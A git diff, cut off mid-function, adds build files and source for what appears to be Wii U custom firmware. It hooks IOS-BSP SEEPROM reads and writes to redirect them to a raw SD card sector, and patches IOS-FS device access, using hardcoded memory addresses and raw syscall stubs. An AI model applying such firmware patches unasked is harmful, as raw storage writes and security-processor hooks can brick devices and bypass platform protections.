diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..fc4a5a8 --- /dev/null +++ b/.gitignore @@ -0,0 +1,27 @@ +/*.elf +/build +/ios_bsp/build +/ios_bsp/ios_bsp.bin.h +/ios_bsp/ios_bsp_syms.h +/ios_bsp/*.elf +/ios_bsp/*.bin +/ios_fs/build +/ios_mcp/build +/ios_mcp/*.elf +/ios_mcp/ios_mcp_syms.h +/ios_mcp/ios_mcp.bin.h +/ios_mcp/*.bin +/ios_fs/ios_fs_syms.h +/ios_fs/ios_fs.bin.h +/ios_fs/*.elf +/ios_fs/*.bin +/ios_kernel/*.bin +/ios_kernel/ios_kernel.bin.h +/ios_kernel/*.elf +/ios_kernel/ios_kernel_syms.h +/ios_kernel/build +/ios_usb/*.bin +/ios_usb/ios_usb.bin.h +/ios_usb/*.elf +/ios_usb/ios_usb_syms.h +/ios_usb/build \ No newline at end of file diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..75eb747 --- /dev/null +++ b/Makefile @@ -0,0 +1,238 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := mocha +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src \ + src/dynamic_libs \ + src/fs \ + src/system \ + src/utils +DATA := data + +INCLUDES := src + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections + +#--------------------------------------------------------------------------------- +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): $(CURDIR)/ios_kernel/ios_kernel.bin.h + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +$(CURDIR)/ios_kernel/ios_kernel.bin.h: $(CURDIR)/ios_usb/ios_usb.bin.h $(CURDIR)/ios_mcp/ios_mcp.bin.h $(CURDIR)/ios_fs/ios_fs.bin.h $(CURDIR)/ios_bsp/ios_bsp.bin.h + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile + +$(CURDIR)/ios_usb/ios_usb.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile + +$(CURDIR)/ios_fs/ios_fs.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_fs -f $(CURDIR)/ios_fs/Makefile + +$(CURDIR)/ios_bsp/ios_bsp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_bsp -f $(CURDIR)/ios_bsp/Makefile + +$(CURDIR)/ios_mcp/ios_mcp.bin.h: + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_kernel -f $(CURDIR)/ios_kernel/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_usb -f $(CURDIR)/ios_usb/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_fs -f $(CURDIR)/ios_fs/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_bsp -f $(CURDIR)/ios_bsp/Makefile clean + @$(MAKE) --no-print-directory -C $(CURDIR)/ios_mcp -f $(CURDIR)/ios_mcp/Makefile clean + + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +../data/loader.bin: + $(MAKE) -C ../loader clean + $(MAKE) -C ../loader +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.jpg.o : %.jpg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.bin.o : %.bin + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.wav.o : %.wav + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.mp3.o : %.mp3 + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ogg.o : %.ogg + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) +#--------------------------------------------------------------------------------- +%.tga.o : %.tga + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/data/launch_image.tga b/data/launch_image.tga new file mode 100644 index 0000000..42bbad0 Binary files /dev/null and b/data/launch_image.tga differ diff --git a/ios_bsp/Makefile b/ios_bsp/Makefile new file mode 100644 index 0000000..eaa8bc0 --- /dev/null +++ b/ios_bsp/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' -e "_seeprom_buffer_start" | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_bsp/link.ld b/ios_bsp/link.ld new file mode 100644 index 0000000..161d815 --- /dev/null +++ b/ios_bsp/link.ld @@ -0,0 +1,27 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text 0xE6010A80 : { + _text_start = .; + *(.text*); + *(.rodata*); + } + _text_end = .; + + .bss 0xE60481F0 : { + _bss_start = .; + *(.bss*); + *(COMMON); + } + .seeprom_buffer : { + _seeprom_buffer_start = .; + *(.seeprom_buffer*); + } + _bss_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_bsp/source/fsa.c b/ios_bsp/source/fsa.c new file mode 100644 index 0000000..b092ba0 --- /dev/null +++ b/ios_bsp/source/fsa.c @@ -0,0 +1,81 @@ +#include +#include +#include "svc.h" +#include "fsa.h" + +#define BSP_memcpy ((void *(*)(void*, void*, unsigned int))0xE600EA18) +#define BSP_memset ((void *(*)(void*, int, unsigned int))0xE600EAB4) +#define BSP_strncpy ((char *(*)(char*, const char*, unsigned int))0xE600F4AC) + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + BSP_memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int FSA_RawOpen(int fd, const char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + BSP_strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} diff --git a/ios_bsp/source/fsa.h b/ios_bsp/source/fsa.h new file mode 100644 index 0000000..4faf6b7 --- /dev/null +++ b/ios_bsp/source/fsa.h @@ -0,0 +1,10 @@ +#ifndef FSA_H +#define FSA_H + +#include "types.h" + +int FSA_RawOpen(int fd, const char* device_path, int* outHandle); +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawClose(int fd, int device_handle); + +#endif diff --git a/ios_bsp/source/seeprom.c b/ios_bsp/source/seeprom.c new file mode 100644 index 0000000..57a6433 --- /dev/null +++ b/ios_bsp/source/seeprom.c @@ -0,0 +1,156 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "svc.h" +#include "fsa.h" + +#define SD_SEEPROM_SECTOR 0x4FF + +#define BSP_MEMCPY ((void * (*)(void *, void *, unsigned int size))0xE600EA18) + +static int writeEnabled = 0; +static int dirty = 0; + +unsigned char seeprom_buffer[512] __attribute__((section(".seeprom_buffer"))); + +extern int orig_EEPROM_SPI_ReadWord(int handle_index, unsigned char index, unsigned short *outbuf); + +static int SD_EEPROM_WriteAll(void) +{ + int fsa = svcOpen("/dev/fsa", 0); + if(fsa < 0) + return fsa; + + int fd; + int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd); + if(res >= 0) + { + void *buffer = svcAllocAlign(0xCAFF, 0x200, 0x40); + if(buffer) + { + // user global buffer for FSA to be able to access it + BSP_MEMCPY(buffer, seeprom_buffer, 0x200); + res = FSA_RawWrite(fsa, buffer, 0x200, 1, SD_SEEPROM_SECTOR, fd); + svcFree(0xCAFF, buffer); + } + else + res = -1; + + FSA_RawClose(fsa, fd); + } + svcClose(fsa); + return res; +} + +static void EEPROM_InitializeCache(int handle_index) +{ + int i; + for(i = 0; i < 0x100; i++) + { + orig_EEPROM_SPI_ReadWord(handle_index, i, (unsigned short*)(seeprom_buffer + (i << 1))); + } +} + +int EEPROM_SPI_ReadWord(int handle_index, unsigned char index, unsigned short *outbuf) +{ + unsigned int offset = ((unsigned int)index) << 1; + + // check for valid eeprom dump and initialize if none was on sd card + if(*(u32*)(seeprom_buffer + 0x20) != 0x70010201) // PPC PVR + { + EEPROM_InitializeCache(handle_index); // could actually just use 0 for handle index + dirty = 1; + } + + // don't redirect the drive key as it is specific for the drive on the wii u + // the seeprom key is the same for all wiiu's it seems so nothing to re-encrypt here + if(offset >= 0x80 && offset < 0x90) + { + return orig_EEPROM_SPI_ReadWord(handle_index, index, outbuf); + } + + if(!outbuf || (offset >= 512)) + { + return -5; + } + + *outbuf = *(unsigned short*)(seeprom_buffer + offset); + + if(dirty && SD_EEPROM_WriteAll() == 0) + { + dirty = 0; + } + return 0; +} + +int EEPROM_SPI_WriteWord(int handle_index, unsigned char index, unsigned short data) +{ + if(writeEnabled == 0) + { + return -5; + } + + // check for valid eeprom dump and initialize if none was on sd card + if(*(u32*)(seeprom_buffer + 0x20) != 0x70010201) // PPC PVR + { + EEPROM_InitializeCache(handle_index); // could actually just use 0 for handle index + } + + unsigned int offset = ((unsigned int)index) << 1; + + if(offset >= 512) + { + return -5; + } + + *(unsigned short*)(seeprom_buffer + offset) = data; + dirty = 1; + + if(SD_EEPROM_WriteAll() == 0) + { + dirty = 0; + } + + return 0; +} + +int EEPROM_WriteControl(int handle_index, int type) +{ + if(type == 1) + { + writeEnabled = 0; + } + else if(type == 2) + { + writeEnabled = 1; + } + else if(type == 3) + { + // erase all -> skip that part...its actually never used but would be only a memset with 0xFF + } + else + { + return -4; + } + return 0; +} diff --git a/ios_bsp/source/seeprom_asm.s b/ios_bsp/source/seeprom_asm.s new file mode 100644 index 0000000..311a34b --- /dev/null +++ b/ios_bsp/source/seeprom_asm.s @@ -0,0 +1,9 @@ +.section ".text" +.arm + +.globl orig_EEPROM_SPI_ReadWord +orig_EEPROM_SPI_ReadWord: + cmp r0, #0 + ldr r3, [pc] + bx r3 + .word 0xE600D090 diff --git a/ios_bsp/source/svc.h b/ios_bsp/source/svc.h new file mode 100644 index 0000000..98b5cc8 --- /dev/null +++ b/ios_bsp/source/svc.h @@ -0,0 +1,21 @@ +#ifndef SVC_H +#define SVC_H + +#include "types.h" + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +void* svcAlloc(u32 heapid, u32 size); +void* svcAllocAlign(u32 heapid, u32 size, u32 align); +void svcFree(u32 heapid, void* ptr); +int svcOpen(char* name, int mode); +int svcClose(int fd); +int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); +int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); + +#endif diff --git a/ios_bsp/source/svc.s b/ios_bsp/source/svc.s new file mode 100644 index 0000000..f391001 --- /dev/null +++ b/ios_bsp/source/svc.s @@ -0,0 +1,45 @@ +.section ".text" +.arm +.align 4 + +.global svcAlloc +.type svcAlloc, %function +svcAlloc: + .word 0xE7F027F0 + bx lr + +.global svcAllocAlign +.type svcAllocAlign, %function +svcAllocAlign: + .word 0xE7F028F0 + bx lr + +.global svcFree +.type svcFree, %function +svcFree: + .word 0xE7F029F0 + bx lr + +.global svcOpen +.type svcOpen, %function +svcOpen: + .word 0xE7F033F0 + bx lr + +.global svcClose +.type svcClose, %function +svcClose: + .word 0xE7F034F0 + bx lr + +.global svcIoctl +.type svcIoctl, %function +svcIoctl: + .word 0xE7F038F0 + bx lr + +.global svcIoctlv +.type svcIoctlv, %function +svcIoctlv: + .word 0xE7F039F0 + bx lr diff --git a/ios_bsp/source/types.h b/ios_bsp/source/types.h new file mode 100644 index 0000000..832bc29 --- /dev/null +++ b/ios_bsp/source/types.h @@ -0,0 +1,29 @@ +#ifndef TYPES_H +#define TYPES_H + + #include + #include + + #define U64_MAX UINT64_MAX + + typedef uint8_t u8; + typedef uint16_t u16; + typedef uint32_t u32; + typedef uint64_t u64; + + typedef int8_t s8; + typedef int16_t s16; + typedef int32_t s32; + typedef int64_t s64; + + typedef volatile u8 vu8; + typedef volatile u16 vu16; + typedef volatile u32 vu32; + typedef volatile u64 vu64; + + typedef volatile s8 vs8; + typedef volatile s16 vs16; + typedef volatile s32 vs32; + typedef volatile s64 vs64; + +#endif diff --git a/ios_fs/Makefile b/ios_fs/Makefile new file mode 100644 index 0000000..083d180 --- /dev/null +++ b/ios_fs/Makefile @@ -0,0 +1,80 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-gcc +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +CFLAGS += -Wall -mbig-endian -std=gnu11 -mcpu=arm926ej-s -msoft-float -mfloat-abi=soft -Os +LDFLAGS += -nostartfiles -nodefaultlibs -mbig-endian -Wl,-T,link.ld +LIBDIRS += -L$(CURDIR)/../libs +LIBS += -lgcc + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)"" + +#--------------------------------------------------------------------------------- +# canned command sequence for binary data, taken from devkitARM +#--------------------------------------------------------------------------------- +define bin2o + bin2s $< | $(AS) -EB -o $(@) +endef + +.PHONY:=all dirs + +all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + +dirs: + @mkdir -p build + +$(PROJECTNAME).elf: $(OFILES) + @echo "LD $@" + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) $(LIBDIRS) $(LIBS) + +$(PROJECTNAME).bin: $(PROJECTNAME).elf + @echo "OBJCOPY $@\n" + @$(OBJCOPY) -j .text -j .rodata -j .data -O binary $(PROJECTNAME).elf $@ + +$(PROJECTNAME).bin.h: $(PROJECTNAME).bin + @xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@ + +$(PROJECTNAME)_syms.h: + @echo "#ifndef $(PROJECTNAME)_SYMS_H" > $@ + @echo "#define $(PROJECTNAME)_SYMS_H" >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep 'g F .text' | grep -v '.hidden' | awk '{print "#define " $$6 " 0x" $$1}' >> $@ + @$(OBJDUMP) -EB -t -marm $(PROJECTNAME).elf | grep -e 'g .text' -e '_bss_' | awk '{print "#define " $$5 " 0x" $$1}' >> $@ + @echo "#endif" >> $@ + +clean: + @rm -f build/*.o build/*.d + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_syms.h $(PROJECTNAME).bin $(PROJECTNAME).bin.h + @echo "all cleaned up !" + +-include $(DFILES) + +build/%.o: source/%.c + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + @echo "CC $(notdir $<)" + @$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.bin.o: data/%.bin + @echo "BIN $(notdir $<)" + @$(bin2o) diff --git a/ios_fs/link.ld b/ios_fs/link.ld new file mode 100644 index 0000000..6028580 --- /dev/null +++ b/ios_fs/link.ld @@ -0,0 +1,26 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + .text (0x10700000 + 0x000F8200) : { + _text_start = .; + *(.text*); + *(.rodata*); + } + _text_end = .; + + .bss (0x10835000 + 0x1406554) : { + _bss_start = .; + *(.bss*); + *(COMMON); + } + .io_buffer : ALIGN(0x40) { + *(.io_buffer*); + } + _bss_end = .; + + /DISCARD/ : { + *(*); + } +} + diff --git a/ios_fs/source/devices.c b/ios_fs/source/devices.c new file mode 100644 index 0000000..993279d --- /dev/null +++ b/ios_fs/source/devices.c @@ -0,0 +1,150 @@ +#include +#include "types.h" +#include "devices.h" +#include "imports.h" +#include "sdio.h" +#include "text.h" + +void * getMdDeviceById(int deviceId) +{ + if(deviceId == DEVICE_ID_SDCARD_PATCHED) + { + return (void*)FS_MMC_SDCARD_STRUCT; + } + else if(deviceId == DEVICE_ID_MLC) + { + return (void*)FS_MMC_MLC_STRUCT; + } + return NULL; +} + +int registerMdDevice_hook(void * md, int arg2, int arg3) +{ + u32 *mdStruct = (u32*)md; + + if((md != 0) && (mdStruct[2] == (u32)FS_MMC_SDCARD_STRUCT)) + { + sdcard_lock_mutex(); + FS_MMC_SDCARD_STRUCT[0x24/4] = FS_MMC_SDCARD_STRUCT[0x24/4] & (~0x20); + + int result = FS_REGISTERMDPHYSICALDEVICE(md, arg2, arg3); + + sdcard_unlock_mutex(); + + return result; + } + + return FS_REGISTERMDPHYSICALDEVICE(md, arg2, arg3); +} + +int getPhysicalDeviceHandle(u32 device) +{ + u32 handleSize = 0x204; + u8 *handleBase = (u8*)(0x1091C2EC + device * handleSize); + u16 adrLow = (*(u16*)&handleBase[6]); + return ((device << 16) | adrLow); +} + +//! read1(void *physical_device_info, int offset_high, int offset_low, int cnt, int block_size, void *data_outptr, void *callback, int callback_parameter) +int readWriteCallback_patch(int is_read, int offset_offset, int offset_low, int cnt, int block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + int result_arg = 0; + int result = sdcard_readwrite(is_read, data_outptr, cnt, block_size, offset_offset + offset_low, &result_arg, DEVICE_ID_SDCARD_PATCHED); + + if((result == 0) && (callback != 0)) + { + callback(result_arg, callback_parameter); + } + return result; +} + +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! USB redirection +//!------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +static int usbReadWrite_patch(int is_read, u32 offset_high, u32 offset_low, u32 cnt, u32 block_size, void *data_outptr, read_write_callback_t callback, int callback_parameter) +{ + return readWriteCallback_patch(is_read, 